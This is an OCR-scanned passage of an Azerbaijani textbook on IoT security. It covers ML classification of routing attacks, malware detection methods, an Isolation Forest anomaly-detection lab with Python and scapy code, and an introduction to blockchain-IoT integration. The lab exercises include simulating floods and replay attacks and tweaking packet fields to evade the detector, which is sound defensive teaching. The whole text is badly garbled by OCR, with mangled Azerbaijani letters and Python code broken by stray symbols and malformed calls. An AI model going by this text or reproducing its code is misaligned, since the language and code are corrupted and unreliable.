6.4.3. Modul 3: Malumatin tasnifati

Molumat tosnifatt modulu IoT sobokosindo ii¢ osas marsrutlasdirma
hiicumunu konfiqurasiya etmisdir: Hello Flood, Wormhole vo Sinkhole hiicumlari.
Osas hiicum xiisusiyyatlori daha dorin analiz iigiin se¢ilir. Onlarin paket sayis1 zaman
daxilinds izlonilir ki, hor bir hiicum ndviiniin davranig1 0yronilsin vo buna uygun
qaydalar toplusu hazirlansin. Daha sonra "Normal", "Hello Flood", "Wormhole" vo
"Sinkhole" kimi siniflor yenidon islonmis qaydalar osasinda yaradilir.

Hor hiicumun miioyyon olunmus sinifloro uygun tosnif edilmosi ii¢lin alt1
forqli masin 6yronma alqoritmi miiqayiso edilir vo R va ya Python proqramlasdirma
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dillorindon istifado edilorok on effektiv alqoritm tapilir. istifade olunan alqoritmlor
asagidakilardir:

o K-NN (K-Nearest Neighbors)

o SVM (Support Vector Machines)

o NB (Naive Bayes)

« RF (Random Forest)

o MLP (Multilayer Perceptron)

6.5. Zoararli Programlarin Askar Edilmasi Texnikalar:

Tadqiqatcilar agkar etmo sistemlori hazirlayir, zarorli vo etibarli program
tominatlarini izloyir va tohlil edirlor. Zararli programlarin agkar edilmasi texnikalari
lic asas kateqoriyaya boliino bilor: imzaya osaslanan, anomaliyalara osaslanan vo
evristik asasli. Bu bolmade mdvcud zararli proqram agkar etma sistemlori vo onlarin
mohdudiyyaotlori miizakiro olunur (Sakil 6.4).

Bu askar etmo texnikalari molumatlarin islonmosi, xiisusiyyot secimi,
tosnifatg1 tolimi vo zororli programlarin askarlanmasi proseslorindan ibaratdir. 11k
ndvbado, Kaggle veb-saytinda mdvcud olan zorarli vo etibarli veb-saytlardan ibarot
verilonlor bazasi toplanmalidir. Daha sonra, zararli programlart emal edon va onlarin
xiisusiyyatlorini tohlil edon agkarlama sistemi inkisaf etdirilmalidir. Fisher Score
(FS), Chi-Square (CS), Information Gain (IG), Gain Ratio (GR) vo Uncertainty
Symmetric (US) kimi metodlar 20 xiisusiyyat se¢cmok ii¢iin istifado olunur. Bundan
sonra sistem, FS, CS, IG, GR vo US gostoricilorindon istifado edorok miixtolif
tosnifatcilart miiqayiso edir vo yeni askarlanmis zororli programlart miioyyon edir.
Miixtolif tosnifat¢ilar daha yiiksok doqiqlik aldo etmok tigiin istifads edilo bilor.

Malware Detection

Signature Based Heuristic Based Specification Based
— Static — Static — Static
— Dynamic — Dynamic — Dynamic
— Hybrid — Hybrid —— Hybrid

Sakil 6.4. Zararli programi askarlama metodlar
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6.5.1. Imzaya asaslanan askar etma texnikasi

Imzaya osaslanan metodda, tartibatcilar virus imzalarindan ibarat verilonlor
bazasindan istifado edirlor. Zarorli programlarin axtarisi zamanm skaner proqrami
fayli analiz edir vo homin molumatlar1 verilonlor bazasi ilo miigayiso edir. Ogor
analiz olunan malumat bazadaki imzalarla uygun galirsa, homin fayl zararli program
kimi miioyyon edilir.

Bu metodun osas istlnliiyli yiiksok effektivliyidir, lakin namolum zororli
programlart agkar edo bilmir. Sakil 6.5-do gostarildiyi kimi, giris askarlama sistemi
(IDS) trafik modelinin statistikasin1 saxlayir. IDS miixtolif monbolordon daxil olan
trafiki gobul edir vo onu statistik molumatlarla miiqayise edorak, homin trafikin
zararli olub-olmadigint miiayyanlosdirir vo naticoni administratora toqdim edir.

Router

Intrusion Detection
System

Attack Signature Database

- 5
S &

End sers
Sakil 6.5. imzaya asaslanan girig askarlama sistemi

6.5.2. Anomaliyalara asaslanan askar etma texnikasi

Anomaliyalara osaslanan zororli proqram askarlama sistemlori sonradan bu
problemi hall etmok iigiin inkisaf etdirildi. Bu metod malum vo namoalum zororli
programlari askar edo bilir. Imza asasli metodlar yalniz molum hiicum niimunalorina
osaslanirdisa, anomaliyalara osaslanan iisul sistemin foaliyyotini miisahido edorak
anormal vo ya normal davraniglari miioyyonlogdirir. Bu metodun totbiqi miihiim
iraliloyis hesab olunur (Sakil 6.6).
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Burada, IDS hiicum imzalarindan ibarat verilonlor bazasi ilo slagslidir. O,
miixtolif hiicum paketlorindon golon imzalar1 homin bazadaki molumatlarla
miiqayiso edir. Ogor yeni askar olunan imza bazadaki movcud imzalarla uygun
galirsa, hiicum agkar edilir vo administratora xebardarliq gondorilir.

6.5.3. Evristik 9sash Askar Etma Texnikasi

Bu metodda, siini intellekt (Al) imzaya vo anomaliyalara osaslanan agkarlama
sistemloring totbiq edilorok askarlama somaraliliyi artirilir. Miihit dayisikliklorine
uygunlasmaq vo prognozlasdirmani yaxsilasdirmaq ii¢lin neyron sobokoalordon
istifado edilir.

Bu metodda genetik alqoritm kimi taninan masin 6yronma alqoritmi zarorli
program askarlama sistemino totbiq edilorok tosnifat metodlar1 tokmillogdirilir. Bu
algoritm irsiyyat, secim vo kombinasiya kimi xiisusiyyatlorden istifads edir.

Bu sistemin asas {istilinlilyii avvalcodon he¢ bir molumata ehtiyac olmadan
isloya bilmasidir. Statistik vo riyazi metodlarin birlogdirilmoasi evristik metodu
ovvalki metodlardan daha giiclii etmigsdir.

Intrusion Detection
System

Network History Database

Firewall

Server

Sakil 6.6. Anomaliyalara asaslanan giris agskarlama sistemi
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6.6. Praktiki Hissa vo Tapsiriqlar

6.6.1. IoT Sabokalorinds Real Zamanh Anomaliya Askarlanmasi: Isolation
Forest Metodundan istifada

Mogqsad:

Bu praktiki hissonin mogsadi oxucuya IoT sobokolorindos real zamanlh
trafikdon istifado edorok anomaliya askarlanmasin1 Gyrotmokdir. Burada mogsad
normal istifade zamani modelin susmasi, lakin flood, replay vo digoer anormal
hallarda dorhal xabordarliq etmasidir. Tacriibade unsupervised masin Gyranmasi
modeli olan Isolation Forest istifado olunur.

Talablor:

e Jetson Nano, Raspberry Pi vo ya digor Linux osashi [oT cihaz
e Ubuntu vo ya digor uygun Linux miihiti

e Python 3.8+

¢ Kitabxanalar: pandas, scikit-learn, joblib, scapy

e scapy ilo real trafik oxuma imkani

e UDP socket ilo siini hiicum simulyasiyast

e Wireshark (trafik monitorinqi {i¢iin)

v Addim 1 — Datasetin Hazirlanmasi
Variant 1: 10T-23 Dataset (CTU-Normal-5)

o JoT-23 dataseti yliklonir
o 2015-06-09 normal.binetflow fayli Pandas ilo oxunur
o Lazimsiz siitunlar silinir: arrow, labell, src_ip, dst ip vo s.
o Asagidaki sortlorlo tomizlomo aparilir:
o (duration > 0.05) &
o (tot_bytes <=300) &
o (tot_pkts <= 500)

Variant 2: Siini dataset

Variant 3: IoT qurgu va ya kompiiter iizorindon trafik toplanmasi
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v" Addim 2 — Datasetin Tomizlonmasi (Cleaning)

[lk addimda tolim iigiin normal trafiklor segilir. Protokol, portlar, paket say1

va bayt hacminds flood-a banzar satirlor ¢ixarilir. Asagidaki kod niimunasi y1gilmis
molumatlarin model iigiin hazirlanmasini1 gostorir (clean_binetflow.py).

import pandas as pd

# Fayli oxu
df = pd.read csv("2015-06-09 normal.binetflow",
header=None, names=][
"start time", "duration", "proto", "src_ ip",
"src_port", "arrow",
"dst_ip", "dst port", "conn_ state", "missed bytes",
"src_pkts", "dst pkts", "tot pkts", "tot bytes",
"labell", "label2", "label3"
1)
# Lazimsiz siitunlarin silinmesi
df = df.drop(columns=["start time", "arrow", "src_ip",
"dst_ip", "conn state", "labell", "label2", "label3"])

# Protokol stringdsn rsgsme
proto map = {"icmp": 1, "tcp": 6, "udp": 17}
df ["proto"] = df["proto"] .map (proto_map)

# Regemlsrs cgevrils bilmesysnlsri g¢ixar
df = df.apply(pd.to_numeric, errors="coerce") .dropna )

# Flood-a benzer sstirleri gixar

df = df|[
(df["duration"] > 0.05) &
(df["tot_bytes"] <= 300) &
(df["tot_pkts"] <= 500)

1

# Fayli saxla

df.to_csv("clean_strict.csv", index=False)

print ("Temiz fayl hazirlandi.")

v" Addim 3 — Modelin Oyradilmasi

Modelo yalniz segilmis “tomiz” sotirlor Oyradilir. Isolation Forest modeli

statistik anomaliyalar1 tanimaq {i¢iin effektivdir vo burada real-time totbiq ii¢lin
idealdir. (train_model.py).

import pandas as pd
from sklearn.ensemble import IsolationForest
import joblib

df = pd.read csv("clean_strict.csv")
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e features = |

. "duration", "proto", "src_port", "dst port",
. "missed bytes", "src pkts", "dst pkts", "tot pkts",
"tot_bytes"

e 1]

¢ model = IsolationForest(n_estimators=100,
contamination=0.005, random state=42)

e model.fit (df[features])

e Jjoblib.dump (model, "model strict v2.pkl")
e print("Model O6yradildi ve saxlanildi.")

v" Addim 4 — Real-Time Trafik Askarlanmasi

Bu morholodo golon soboka paketlori real vaxtda models verilir. ©Ogor niimuna
tolim datasina oxsamirsa, sistem dorhal “Anomal trafik” xobordarlig1 verir. UDP
socket ilo yiiksok tezlikli vo boyiik 6lgiilii paketlor gondorilir. Bu, tolimds olmayan
davranis yaradir vo model onu anomaly kimi taniyir.

e from scapy.all import sniff, TCP, UDP, ICMP
e import pandas as pd

e import joblib

e import time

e from datetime import datetime

e model = joblib.load("model strict v2.pkl")
e previous_time = time.time ()
¢ def extract (pkt):

) global previous_time

D now = time.time ()

) delta = now - previous_time
) previous_time = now

o proto, sport, dport =0, 0, O
) if TCP in pkt:

. proto = 6

) sport = pkt[TCP].sport
o dport = pkt[TCP] .dport
o elif UDP in pkt:

o proto = 17

o sport = pkt[UDP].sport
o dport = pkt[UDP] .dport
o elif ICMP in pkt:

o proto =1

. pkt_len = len(pkt)

o return pd.DataFrame ([ {

o "duration": delta,

o "proto": proto,

. "src_port": sport,

. "dst_port": dport,
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. "missed bytes": O,

. "src_pkts": 1,
. "dst_pkts": 1,
. "tot_pkts": 1,
. "tot bytes": pkt len

. 1)
¢ def analyze (pkt):

. try:

D features = extract(pkt)

D result = model.predict (features) [0]

D t = datetime.now() .strftime ("%H:%$M:%S")

D if result == -1:

o print(£f"[{t}] Anomal trafik:
{features.to_dict('records') [0]}")

. else:

o print(£f"[{t}] Normal trafik")

. except Exception as e:

D print("Xsta:", e)

¢ print("Real-time monitor basladi.")
¢ sniff (prn=analyze, store=0)

1 ¥
|
1] M N
1] @ N
2] @
>] BN
|
i
|
1] AA

Sakil 6.7. Real vaxtda anomaly detection sisteminin igloma goriintiisii (normal va
anomaliya trafiki forqlondirilmis sakilda)

v’ Noatico

e Tolim yalmiz normal trafiko osaslandigi iiglin, model anomaliyalar1 yiiksok
doqiqliklo askarlayir.

e Real zamanl totbiq effektivdir: soboko axini daxil olduqgca analiz olunur.

e Hiicum davranisi agiq sokildo sistem torafindon forqlondirilir.

e Tolim datasinin tomiz vo balansli olmasi asas faktordur.

139



asif@asifVMwareVirtual-Platform: ~/ml_labs/last Q = - ©D x

$akil 6.8. Siini UDP flood hiicumu zamani modelin anomaliya kimi reaksiya verdiyi
real monitor ¢ixigsi

Isolation Forest modeli bu laboratoriyada asas metod kimi se¢ilso do, digor
moshur unsupervised anomaly detection modellori ilo miiqayiso aparmaq tovsiyo
olunur. Bu, hor modelin davranis forqlorini, hassasliq va uygunluq saviyyslarini
daha derindon anlamaga imkan veracok. Alternativ modellors asagidakilar daxildir:

e One-Class SVM — Radial basis function (RBF) kernel ilo kompleks sorhodlori
ayirmaq imkani yaradir.

o Local Outlier Factor (LOF) — Yaxin qonsulara osaslanaraq lokal
anomaliyalar1 daha doaqiq toyin eds bilor.

« Elliptic Envelope — Gaussian bolgiilori forz edir va statistik konturla normal
niimunslori ohato edir.

« Autoencoder (Neural Network) — Dorin 6yronmo ilo daha yiiksok soviyyali
niimunoalori dyronmok vo sixligdan sapmalar1 agkar etmok iiglin istifado
olunur.

Olavo olaraq, bu modellori eyni tolim datasi ilo sinaqgdan kegirmok vo
asagidaki meyarlarla miigayiso etmok lazimdir:

o Hiicuma cavab vermo hassaslig1 (true positives)

« Normal trafikdo sakit gqalma gabiliyyati (low false positives)
o Tolim siirati vo resurs istifadosi

o Modellarin real-time totbiq {i¢lin uygunlugu
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v' Tapsiriqlar

* clean strict.csv faylin1 a¢ vo tolim iiglin hansi kriteriyalarin totbiq edildiyini nozordon
kegir. Har siitun iizrs statistik gostoricilori (mean, std, max, min) tohlil et.

* contamination parametrinin modelin davranigina tosirini yoxla. Forqli deyarlorlo (0.01,
0.02, 0.1) modeli tolim etdir vo eyni hiicuma verdiyi reaksiyani miiqayiso et.

= TIsolationForest oavozino One-Class SVMvaya Local Outlier Factor modellori
ilo tolim apar. Model naticalarini miigayiss et.

= UDP oavozina TCP paketlari ila hiicum ssenarisi qur vo modelin buna verdiyi reaksiyani miisahido
et.

= Replay hiicumu simulyasiya et. Ovvalki sifralonmis bir mesaji tokrar-tokrar models toqdim edoarak
reaksiyasini yoxla.

* live detect.py faylindanaticolori . csv voya . log faylina yazacaq logging mexanizmi qur.

= Jetson Nano {izorinds real soboks trafikini tcpdump vasitasils y1§ vo modeli hamin real trafiklo
yoxla.

= Forqli cihazlardan (masalon, brauzer, loT cihaz, terminal) eyni anda trafik génderarak modelin
davranisini miisahido et.

*  Flood hiicumu zamani trafikin Wireshark vasitasilo analizini apar. Paketlorin intensivliyi, manba
portlar1 va 6l¢iilorini arasdir.

* joblib ilosaxlanmis modeli basqa sistemo kogiir vo tokrar 1ive detect skriptiilo eyni trafiko
tatbiq et.

= Eyni trafiko malik iki forqli tolim datasi ilo iki model qur. Har birinin hiicuma verdiyi reaksiyani
miiqayisoli tohlil et.

=  Hiicum paketlorinin protokol (proto) doyerini dayisdirorak modeli aldatmaga ¢aligs. Naticonin
dayisib-dayigsmadiyini analiz et.

* missed bytes, src pkts, dst pkts kimi saholori doyisdirorok modelin hassasliq
daracasini test et.

* tot bytes doyori model liciin hossas parametr kimi davranir. Bu doyari siini olaraq artirtb
modelin verdiyi gorar1 miisahids et.

= Hiicum zamani duration doyarini sifira yaxinlasdir (yoni ¢ox tez-tez paket gondar) vo modelin
cavabini test et.

* live detect.py skriptini systemd servisi soklindo quraraq cihaz agildiqda avtomatik iso
diismasini tomin et.

=  MQTT vo HTTP asasl1 forqli trafiklor yaradaraq modelin bu iki forqli protokola verdiyi reaksiyant
miiqayise et.

= proto, port va size sahoalorini doyisdirarok yalanci pozitiv hallar (false positives) yaradib
modeli giymatlondir.

* clean strict.csv faylindaki src port vo dst port saholerinin doyaor intervalini siini
olaraq doyisdir vo modelin adaptasiyasini yoxla.

* clean strict.csv faylinin kopyasini yaradaraq olavo siitun kimi label olavo et. Normal
satirloro 1abel=0, flood hiicumlari vo ya siini hiicum satirlorine 1abel=1 ver. Bu fayldan
istifado edorok SVC modeli ilo binary smiflandirict qur. Tolim vo test iigilin
train test split () istifads et. Accuracy vo confusion matrix noticolorini ¢ixar.

= FEyni etiketli dataset ilo RandomForestClassifier, KNN, LogisticRegression
modellorini sina. Har bir modelin precision, recall vo F1-score naticalorini miiqayiseli tohlil et.
Hassasliq va selektivlik baximindan hans1 model daha yaxs1 natics verir, onu tayin et.
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7. Blokceyn Texnologiyasinin Osyalarin Interneti (IoT)
Tohliikoasizliyindo Markazsiz idaraetma Uciin
Inteqrasiyasi

7.1. Giris

Texnologiyanin siiratli inkisafi olagoalorin genislonmasi vo malumatlarin
artmasi ilo yeni imkanlar yaradib. Har iki texnologiyanin — blok¢eyn va Osyalarin
Interneti (IoT) — giiclorinin birlosdirilmosi, tohliikesiz vo effektiv molumat
idaragiliyi ticlin inqilabi hallor togdim edir.

Blokceyn texnologiyast avvalco kriptovalyutalar ii¢liin yaradilmis olsa da,
zamanla molumat tohliikosizliyini vo soffafligi tomin edon, morkozsizlogdirilmis bir
sistem olaraq ohomiyyatini artirmigdir. [oT isa cihazlarin boyiik miqdarda molumat
topladig1 vo bu molumatlar paylasdigi bir texnologiya kimi ¢ixis edir. Lakin bu
cihazlarin tohliikasizlik vo moxfilikls baglh catismazliglar aktualdir.

Blokgeyn va IoT-nin inteqrasiyasi bu problemlari hall etmak {igiin innovativ
bir yanagsma toqdim edir. Bu birlosmo vasitosilo molumat biitovlilyii qorunur,
morkozsizlosdirilmis idaroetmo giiclondirilir vo [oT sistemlorinin tohliikosizlik
soviyyasi yliksalir.

7.2. Blokceyn va IoT Integrasiyasina Giris

Blokg¢eyn texnologiyasi ilo IoT-nin inteqrasiyasi, molumatlarin neco idaro
olundugunu, qorundugunu vo soboko daxilindo paylasildigini doyisorok yeni bir
yanasma toqdim edir. Bu hissads blokc¢eyn vo IoT inteqrasiyasinin asas konseptual
bazasi toqdim edilir, bu birlogsmonin tokan veron osas amillori vurgulanir vo
tohliikasiz, morkozsizlosdirilmis molumat idaroetmosinin ¢oxsaxoli aspektlori
miizakiro olunur.

Blok¢eyn Texnologiyasimin Rolu: Blokceyn, mahiyyat etibarilo paylanmis
vo doyisdirilmoz bir molumat bazasidir. Kriptovalyutalar {i¢iin yaradilan bu
texnologiya, hazirda doyismoz geydlorin saxlanilmasit vo molumat biitovliyiiniin
gorunmasi iigiin genis totbiq olunur. Kriptoqrafik metodlar vo morkozsizlosdirilmis
konsensus mexanizmlorindon istifado etmoklo, blokceyn doyisiklikloro garsi
dayaniqli bir sistem yaradir.
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IoT-nin Potensiahm Koasf Etmok: Osyalarin Interneti (IoT), molumat
toplamaq, paylasmaq vo islomok qabiliyyotine malik soboksli cihazlar sistemini
tomsil edir. [oT-nin totbiglori real vaxt malumatlarinin emali, prognoz analitikas1 vo
molumatlara asaslanan gorarlarin gabul edilmasinds inqilab yaratmisdir.

Blokceyn va IoT-nin Sintezi: loT cihazlarinin malumat toplama imkanlarini
blok¢ceynin doyismozlik, soffafliq vo morkozsizlogdirilmis konsensusu ilo
birlogdirmoak, tohliikasiz vo morkozsizlosdirilmis molumat idaraetmasi iigiin yeni bir
dovr acir. Bu birlosmo, molumat biitovlilylini tomin etmoklo yanasi,
morkozlosdirilmis sistemlordo yaranan zoifliklori do minimuma endirir (Sokil 7.1).
Burada:

e Sensorlar vo aktuatorlar malumat toplama funksiyasini yerina yetirir.

e Toplanmis molumatlar emal edilib analiz olunur.

e Daha sonra agilli miiqavilalor vasitasilo blok¢eyn sobokosino Otiiriiliir
vo orada doyismoz qeyd edilir.
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Sakil 7.1. Blok¢eyn va IoT texnologiyalarinin integrasiyast

7.3.  Tahliikasiz vo Moarkazsizlogdirilmis Malumat Idaraetmasinin
Qhamiyyati

Blokgceyn vo IoT texnologiyalarinin inteqrasiyasi tohliikkasiz ~ vo
morkozsizlogdirilmis molumat idaroetmosini miiasir roqomsal miihitin osas
ehtiyaclarindan birino gevirir.
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e Mbilumatin biitovlilyiiniin tomin edilmasi

Miiasir dovrdo malumatin doyismozliyi vo etibarliligi gorar qobul etma vo
omoliyyat proseslari ligiin kritik shomiyyat dasiyir. Blok¢eyn texnologiyasi [oT ilo
birlosdirildikde malumatin doyisdirilmazliyini tomin edir. Blok¢eynin xiisusiyyatlori
sayosindo hor bir molumat qeydi tohliikkosiz saxlanilir vo saxtalagdirma riski
minimuma endirilir.

e  Morkazlasdirilmis zosifliklorin azaldilmasi

Blokceyn-IoT inteqrasiyasi, molumatlari morkozlosdirilmis sistemlords
saxlamaq avazing, paylanmis bir sobaka lizarinds saxlayir. Bu yanasma sistemdas tok
bir zaif néqtonin moévcudlugunu aradan galdirir vo molumat sizmasi riskini azaldir.
Bu yanagsma, homginin istirak¢ilarin 6z molumatlarina nozarot etmosino vo
molumatin icazasiz istifadosinin garsisini almasina imkan yaradir.

e  Mbilumat maxfiliyinin giiclondirilmasi

Maxfiliyin qorunmasi miiasir malumat idaraciliyinin an vacib aspektlorindon
biridir. Blok¢eyn texnologiyasi kriptoqrafik metodlardan v soxsi agarlardan istifado
edorok molumatlarin yalniz solahiyyatli soxslor tigiin ol¢atan olmasini tomin edir. Bu
yanagma xiisusilo hossas va soxsi malumatlarin qorunmasinda shomiyyatlidir.

e Mblumat miilkiyyatinin giiclondirilmasi

Ononovi molumat miilkiyyoti modellori molumatlarin morkozi qurumlar
torofindon idaro olunmasini nozords tutur. Blokgeyn vasitosilo molumatlar {izorindo
daha genis nozarot tomin edilir vo fordlor 6z molumatlarinin istifadossini izlomok,
paylasmagq vo hatta golir oldo etmok imkanina malik olurlar.

o Soffafliq vo hesabathlq

Blok¢eynin soffafliq xilisusiyyoti molumatlarin idaro edilmosindo inam vo
hesabatliliq yaradir. IoT kontekstindo bu, molumatlarin yaradilmasi, emal1 vo
oOtlirtilmasi marhalolorini tam sokilds izlomok imkani verir. Bu soviyyado soffafliq
tonzimloyici normalara uygunlugu asanlasdirir vo maraqh toroflor arasinda etimad
yaradir.

¢ Yeni imkanlarin acilmasi

Blokgeyn va IoT-nin inteqrasiyasi yeni biznes modellari vo innovativ totbiglor tigiin
zomin hazirlayir. Tochizat zoncirinin izlonilmosi, aktivlorin real vaxt rejimindo
monitoringi vo agilli miigavilalor vasitasilo avtomatlasdirilmis molumat idarogiliyi
bu yanagsmanin toqdim etdiyi osas istiinliiklordir. Blok¢eyn vo IoT-nin sintezi
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tohliikasizlik, soffafliq vo miistoqilliyo fokuslanaraq miiasir molumat idarsetma
problemlarini hall edir.

7.4. Blokg¢ceyn Texnologiyasina Baxis

Blok¢eyn texnologiyast, ilk dofo Bitcoin kimi kriptovalyutalarin asasini togkil
edan ingqilabi yenilik, hazirda bir ¢ox sonayeni dayisdirarok molumat idaraciliyi vo
omoliyyat sistemlorindo yeni imkanlar yaratmigdir. Asagida blokceyn
texnologiyasinin asas prinsiplari vo mexanizmlari haqqinda timumi bir baxis togdim
edilir:

e Morkazlosdirmonin aradan qaldirilmasi: Blokceyn texnologiyasinin asas
xiisusiyyatlorindon biri moarkozsizlosdirilmis qurulusudur. Bu texnologiyada
omoliyyatlar bir sabokadaki nodlar torafindon tesdiqglonir va qeyd edilir. Bu,
molumatlarin vo gorarlarin idaras edilmasindo moarkozi bir organa olan ehtiyaci
aradan qaldirr.

e Dayismoazlik: Blok¢eyndo molumat bir dofo geyd edildikdon sonra onu
doyisdirmok vo ya silmok miimkiin deyil. Bu xiisusiyyst, molumatin
tohliikosizliyini  tomin edon kriptoqrafik alqoritmlor vo konsensus
mexanizmlari ilo hayata kecirilir.

o Soffafliq: Blok¢eyn texnologiyasinin osas istiinliiklorindon biri soffafliqdir.
Biitiin istirak¢ilar sobokodoki omaliyyatlarin tam tarixine daxil ola bilir ki, bu
da etibar1 vo hesabatlilig artirir.

e Konsensus mexanizmlori:  Blokgeyn  sobokolori,  omoliyyatlarin
diizglinliiylinii  tosdiglomok iigiin miixtolif konsensus mexanizmlorindon
istifado edir. Bu mexanizmlors Is Siibutu (Proof of Work - PoW), Sohm
Siibutu (Proof of Stake - PoS) vo digor metodlar daxildir.

e Agill miiqavilalor: Agilli miigavilalor avvalcodon miioyyon edilmis sortloro
uygun olaraq avtomatik icra edilon programlardir. Onlar vasitasilo vasitogilora
olan ehtiyac aradan qaldirilir vo omoliyyatlarin asanligla hoyata kecirilmosi
tomin edilir.

o Kriptoqrafik tohliikssizlik: Blokgceyn, molumatlarin  moxfiliyini,
biitovliyilinii vo omoliyyatlarin autentifikasiyasin1 tomin etmok {igiin
kriptoqrafik texnikalardan istifads edir.

e lictimai va soxsi blokceynlor: Blokceyn sobokalori ictimai vo ya soxsi ola
bilor. ictimai blokceynlor hor kosin istirak edo bilocayi agiq sistemlordir, soxsi
blok¢eynlar iso yalniz solahiyyatli istifadogilor tiglin nozordos tutulmus gapali
sobokolordir. Bu se¢imin totbiqi sahoyos vo nozarat soviyyosino uygun olaraq
doyisir.
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Sakil 7.2. Blokg¢eyn texnologiyasinin bulud qurulusu

Sokildo  kriptovalyutalar, molumat idaroetmosi, tohliikesizlik  vo
omoliyyatlarin blokgeyn vasitosilo neco olagolondirildiyi gostorilmisdir. Bu sistem
IoT ilo inteqrasiyant miimkiin edir vo tohliikasiz, soffaf vo morkozsizlosdirilmis
molumat ekosistemi yaradir.

7.5. Blokceyn va IoT-nin Integrasiyasinda Uygunluglar va
Cagwnislar

Blokceyn vo Osyalarm Interneti (IoT) inteqrasiyasi tohliikesiz molumat
idaragiliyi, soffafliq vo morkozsiz idaraetmo kimi iistiinliiklor toqdim edir. Bununla
yanasi, bu inteqrasiya miioyyon texniki vo funksional ¢otinliklori do 6zii ilo gotirir.
Asagida, hor iki texnologiyanin inteqrasiyasindan yaranan uygunluglar vo ¢agirislar
otrafli izah edilir:
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. Uygunluqlar:

Mbolumatin  biitovliiyii  vo  tohliikasizliyi: Blokgeynin  doyismozlik
xiisusiyyati, molumat doqiqliyinin vo etibarliliginin vacib oldugu tochizat
zoncirinin izlonmasi vo kritik infrastrukturlarin monitoringi kimi saholordo
xiisusi ohomiyyat dasiyir.

Moarkazsizlosdirma va etimad: Blok¢eyn vo IoT morkazsizlogdirmaya eyni
doracado Tstiinliik verir. Bu texnologiyalar vasitogilori aradan gqaldiraraq
cithazlar arasinda birbasa olagoni miimkiin edir. Bu da etimadi artirir vo
morkozlosdirilmis idaroetmo ehtiyacini azaldir.

Soffafliq vo hesabathhq: Blokgeynin acgiq vo soffaf qurulusu, IoT
ekosisteminda molumatlarin izlonmasi tigiin genis imkanlar togdim edir. Bu
xilisusiyyot, molumatin monboyi vo horokot istigamotini izlomoyo imkan
verarak, hesabatlilig1 artirir vo tanzimloayici normalara uygunlugu tomin edir.
Avtomatlasdirma iiciin agilh miiqavilalar: Blok¢ceynds movcud olan agilli
miqavilolor, ovvolcodon miioyyon edilmis sortloro osaslanaraq avtomatik
omoliyyatlar1 hoyata kegirir. IoT-nin kontekstindo bu, cihazlarin insan
miidaxilosi olmadan qarsiligli alagads olmasi vo amaliyyatlarin avtomatik bas
vermasi demokdir.

. Caginslar

Miqyaslama problemlari: IoT cihazlarinin yaratdigi molumatin boyiik
hocmi blokgeyn sobokolorindo miqyaslama c¢atinliklorino sobob ola bilor.
Blok¢eyn texnologiyasinin bu hocmi idaro etmosi vo omoliyyatlarda
performansi tomin etmasi vacibdir.

Gecikma: 10T totbiglori real vaxt rejimindo gorar qobul etmoyi tolob edir.
Blokg¢eyn sobokolorindo konsensusun oldo edilmaosi {igiin tolob olunan vaxt,
IoT-nin real vaxt ehtiyaclarina cavab vermoya bilor.

Enerji effektivliyi: IoT cihazlarinin ¢oxu enerji mohdudiyyatlori ilo isloyir.
Lakin blok¢eyn omoliyyatlarinin resurs tolob edon tobioti IoT sistemlorinin
enerji somaraliliyini azalda bilor.

Uygunluq masalalari: IoT cihazlar1 miixtolif istehsalgilar torofindon forqli
standartlara uygun hazirlanir. Miixtalif cihazlar vo blokgeyn sobokolori
arasinda uygunlugun tomin edilmosi ¢atinliklor yarada bilor.

Xorclor vo miirakkablik: Blok¢eynin IoT ilo birlosdirilmoasi olavo
miirokkoblik vo xarclora sobab olur. Xiisusilo kigik miiassisalar iigiin bu,
texnologiyanin totbiqini ¢atinlogdirs bilor.
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Blokg¢eyn vo IoT texnologiyalarinin uygunluqlarint vo ¢agirislarini nazera
almagq, effektiv vo davamli hallorin hazirlanmasi {i¢iin vacibdir. Bu inteqrasiyanin
totbigi hom movcud problemlori holl etmok, hom do golocok inkisaf imkanlarini
tomin etmak baximindan shomiyyatlidir.

7.6. Mborkazsizlasdirilmis Malumat Idaraciliyi vo Miilkiyyat
7.6.1. Malumatin paylasimi va idard edilmasi iiciin agilh miiqavilalor

Blok¢eyn vo IoT inteqrasiyast sahosindo, morkozsizlogdirilmis molumat
idaragiliyi vo miilkiyyat anlayisi asas rol oynayir. Bu bélmados, agilli miigavilalorin
molumat idaraciliyinds neca inqilabi doyisikliklor yaratdig1 arasdirilir:

e Avtomatlasdirilmis razilasmalar: Agillh  miigavilolor, blokg¢eyndo
yerlasdirilon vo 6z-6ziinii icra edon kodlar vasitasilo malumat paylagimi iigiin
ovvalcadon toyin olunmug sortlori hoyata kegirir. Masolon, bir hava stansiyasi
molumatlarint miioyyon hava soraiting osaslanaraq avtomatik olaraq aidiyyati
bir kond tosorriifati totbiqino géndors bilor.

e Mblumatlarin monetizasiyasi: Agilli miiqavilolor, [oT cihazlarinin
molumatlarint golir manbayina ¢evirmak liclin yeni imkanlar toqdim edir.
Belo miigavilslor vasitosilo cihazlar molumat paylasimai tigiin kriptovalyuta vo
ya tokenlor ala bilor, bu da molumat bazarinda yeni ticarot imkanlar1 yaradir.

e Giiclondirilmis tohliikasizlik: Agilli miiqavilolordon istifado, molumat
paylasiminin avvalcodon miioyyon edilmis sortlors uygun olmasini tomin edir.
Bu yanasma, potensial tohliikolori azaldaraq icazosiz miidaxilolori minimuma
endirir.

e Morkazsiz nazarat: Agilli miiqavilolor morkozi nozarotdon konar isloyorok
molumat axinim1 birbasa cihazlar arasinda hoyata kegirir. Bu, vasitogilori
aradan galdiraraq molumat idaroagiliyini daha tohliikosiz va etibarl edir.

e Doyismoz qeydlar: Agilli miigavilalor blok¢eynds geydo alindigdan sonra
doyismoz bir geyd kimi qalir. Bu, soffafligi vo hesabatlilig1r tomin edorok
molumatin manbayini izlomayi asanlasdirir.

7.6.2. 10T malumatinin miilkiyyati va nazarati

Blokgeyn vo IoT-nin birlogmosi, molumat miilkiyyati vo nozarati ilo bagh yeni
yanasmalar toqdim edir. Bu bdlmodo, inteqrasiyanin osas aspektlori asagidaki
sokilds izah olunur:

e Mborkazsizlosdirilmis miilkiyyat: Blok¢eyn vo loT-nin birlogsmasi, molumat
milkiyyati lizorinds fordlorin daha ¢ox nozarst etmosini tomin edir. Ononavi
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modellordon forqli olaraq, morkozsizlogdirilmis yanagma hor bir istirak¢inin
0z malumatlarinin yeganao sahibi olmasini tomin edir.

o Icazo osasinda nozarot: Blokgeyn, istifadogiloro molumatlaria
mohdudiyyatlor qoymagq iigiin inca tonzimlonon nazarat mexanizmlori togdim
edir. Yalniz icazasi olan soxslor molumatlara giris imkani olds eds bilor.

e Auditorluq tarixi: Blokceynin doyismoz  xiisusiyyeti, molumat
